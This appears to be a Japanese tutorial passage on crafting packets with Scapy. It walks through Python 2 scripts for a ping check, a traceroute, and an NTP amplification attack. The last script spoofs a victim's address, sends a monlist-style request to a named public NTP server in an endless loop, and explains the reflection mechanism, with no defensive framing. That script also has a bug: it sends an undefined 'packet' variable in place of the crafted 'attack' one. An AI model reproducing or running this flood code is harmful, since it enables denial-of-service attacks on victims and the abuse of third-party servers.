#! /bin/python
import sys
from scapy.all import *
conf.verb = 0
packet = IP(dst=sys.argv[1], ttl=64)/ICMP()
reply = sr1(packet)
if reply.type == 0 :
print "OK"
else:
print "NO"
Scapyではパケットの生成は各階層を/という演算子で繋げる事で行えます。今回はIPレイヤの上にICMPとなっているのでまずIPのレイヤーで目的地とTTLを設定しあとはデフォルトのままです。
普通に通信を行うだけなら基本的に最小限の設定とデフォルトだけで十分です。そして、ICMPのレイヤですが、ここはデフォルトでEcho Requestなのでそのままで良いです。
そして、sr1という関数で生成したパケットを送信し、その返答をreplyに格納します。そして、そのtypeを判別しICMPのTypeの0番、つまりEcho ReplyならOK、それ以外ならNOを表示します。
#! /bin/python
import sys
from scapy.all import *
conf.verb = 0
for i in range(1, 64):
packet = IP(dst=sys.argv[1], ttl=i)/ICMP()
reply = sr1(packet)
if reply.type == 11:
print reply.src
if reply.type == 0 :
print "reach"
break
基本的なパケット生成、送信部分は同じです。違いはTTLを変更して送信し、返答がTTL不足によるルータなどからの返答の場合そのSrcIPを表示し、ちゃんと到達してればそこで終了するといった感じです。
#! /bin/python
import sys
from scapy.all import *
data = "\x17\x00\x03\x2a" + "\x00" * 4
attack = IP(dst="ntp.nict.jp",src=sys.argv[1])/UDP(sport=48947,dport=123)/Raw(load=data)
send(packet,loop=1)
パケットの生成して送信はこんな感じです。srcを第一引数で受け取りますこれが攻撃目標になります。そして、UDPでポートを指定して、その上にRawという所で攻撃データをのっけます。
NTP AmpにはNTPにアクセスしてきた元のリストを返答するという機能を使用します。data部はその要求のバイナリデータになってます。